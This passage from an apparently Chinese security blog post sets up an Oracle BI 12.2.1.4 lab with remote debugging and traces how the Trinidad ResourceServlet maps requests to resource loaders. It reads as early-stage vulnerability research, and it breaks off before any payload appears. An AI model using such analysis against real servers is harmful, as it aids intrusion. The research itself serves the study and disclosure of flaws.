<img src="https://wechat2rss.xlab.app/img-proxy/?k=f8b7af40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpEk7Hg3yaN5x81OhOzHW0gYiaXRYJ3hQV8Y2zQ1nLBkySJePkDvfYJsVQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="box-sizing: border-box;margin: 0px auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">环境搭建</h1><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">安装Oracle19c，安装的时候这里要选AL32UTF8</p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="425" data-backw="562" data-galleryid="" data-ratio="0.7554697554697555" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="777" src="https://wechat2rss.xlab.app/img-proxy/?k=d24040c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpEZ1CHy5XOxib4YDHnYXibvfbBibR9fiaDcbtUTRt1GTHv7E0F9LvE3ZGqOg%2F640%3Fwx_fmt%3Dpng"/></p><br/></figcaption><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">接下来会卡在42%，多等一会就好了。</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">安装fmw_12.2.1.3.0_infrastructure.jar 下一步下一步就行</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">然后安装bi fmw_12.2.1.4.0_bi_windows64_Disk1 下一步下一步就行了</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">然后运行rcu.bat<img class="rich_pages wxw-img" data-backh="443" data-backw="562" data-galleryid="" data-ratio="0.7886792452830189" data-s="300,640" style="text-align: center;letter-spacing: normal;width: 100%;" data-type="png" data-w="795" src="https://wechat2rss.xlab.app/img-proxy/?k=b6d5a609&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpEdVBgyLWF03HaY6maA3RkeVbVr4z4SbVUOpDHtNcuOmeBtn4cchibnLQ%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">创建完bi所用的数据库之后运行C:\Oracle\Middleware\Oracle_Home\bi\bin\config.cmd配置bi</p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="440" data-backw="562" data-galleryid="" data-ratio="0.7837837837837838" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="777" src="https://wechat2rss.xlab.app/img-proxy/?k=22fbf49e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpElaZhL92Z5e3ulqVuk1SLFOREWtqZr9iaQdsITOYqfREwraycP5ZjXDQ%2F640%3Fwx_fmt%3Dpng"/></p><br/></figcaption><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">然后就安装完成了。<img class="rich_pages wxw-img" data-backh="436" data-backw="562" data-galleryid="" data-ratio="0.7757731958762887" data-s="300,640" style="text-align: center;letter-spacing: normal;width: 100%;" data-type="png" data-w="776" src="https://wechat2rss.xlab.app/img-proxy/?k=c4b956b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpEOkcU6IEOQ3h6DVMuOe7nVhzib2eaf55Jd5x9k8NCVgVjCJW38pTVfCg%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">分析</h1><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">修改C:\Oracle\Middleware\Oracle_Home\user_projects\domains\bi\bin\setDomainEnv.cmd 338行</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">set</span> local_debug=<span class="code-snippet__literal">true</span></span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">然后重启Oracle BI的服务，会在8453端口监听debug</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">在C:\Oracle\Middleware\Oracle_Home\user_projects\domains\bi\servers\AdminServer\tmp_WL_user\em\fw8wi5\war\WEB-INF\web.xml中 em对应Oracle BI的<a href="http://172.16.16.132:9500/em/" target="_blank">http://172.16.16.132:9500/em/</a> 管理界面</p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.70199370409234" data-s="300,640" style="" data-type="png" data-w="953" src="https://wechat2rss.xlab.app/img-proxy/?k=487b9c41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpEKsdicljl1N9UiaSoGqfGbFC95zZrCLaxRRBCayCIqzQtAGjOFYbzbCew%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">web.xml中定义了几个映射关系<img class="rich_pages wxw-img" data-backh="195" data-backw="562" data-galleryid="" data-ratio="0.34775888717156106" data-s="300,640" style="text-align: center;letter-spacing: normal;width: 100%;" data-type="png" data-w="647" src="https://wechat2rss.xlab.app/img-proxy/?k=98762100&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpE5icQlykQyqYDTDicDWQA9M4dgG8jdJgbRSC5ZNuMAt8WNIxaoAkibicjsA%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">在org.apache.myfaces.trinidad.webapp.ResourceServlet#doGet中</p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="75" data-backw="562" data-galleryid="" data-ratio="0.13354531001589826" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="629" src="https://wechat2rss.xlab.app/img-proxy/?k=ccad7075&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpE3HdAUKIIPB62knHCYGUaUfugT3kKtYlAHwJcpc6ajkZYGhibeZRURaQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">根据request获取对应的ResourceLoader和resourcePath</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="200" data-backw="562" data-galleryid="" data-ratio="0.35655058043117743" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="603" src="https://wechat2rss.xlab.app/img-proxy/?k=0dcc284c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpEpImFVcfY5w9slEAYwic0xJ0soGhrRgBhsS8ibpm9KCdQCdlRqCHjNImQ%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">_getResourceLoader维护了一个ConcurrentMap存放servletPath和loader的映射关系。</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">在oracle.adfinternal.view.resource.rich.RenderKitResourceLoader中向map中注册了对应关系</p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="168" data-backw="562" data-galleryid="" data-ratio="0.3" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3190478b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpEfAdzPGib4koTegI5FpEe3kTDw4icShuTFL64SicichFd9iac2iakNTiaDiaMKQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 